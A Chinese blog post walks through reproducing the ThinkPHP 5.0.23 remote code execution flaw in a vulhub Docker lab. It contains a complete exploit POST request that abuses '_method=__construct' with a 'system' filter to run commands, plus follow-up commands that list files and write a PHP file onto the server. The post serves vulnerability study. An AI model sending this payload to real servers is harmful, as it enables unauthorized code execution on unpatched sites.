【vulhub漏洞复现】Thinkphp 5.0.23 任意代码执行

一、漏洞详情

影响版本 ThinkPHP <= 5.0.24

ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

二、复现过程

搭建docker环境​​​​​​

docker-compose up -d

进入8080端口 

 构造POST包并发送

访问http://127.0.0.1:8080/index.php?s=captcha

 bp抓包构造post请求发送(hackbar直接post也可以)

POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

 ls

 echo "<?php phpinfo();?>" >test.php

猜你喜欢

转载自blog.csdn.net/m0_51683653/article/details/129882463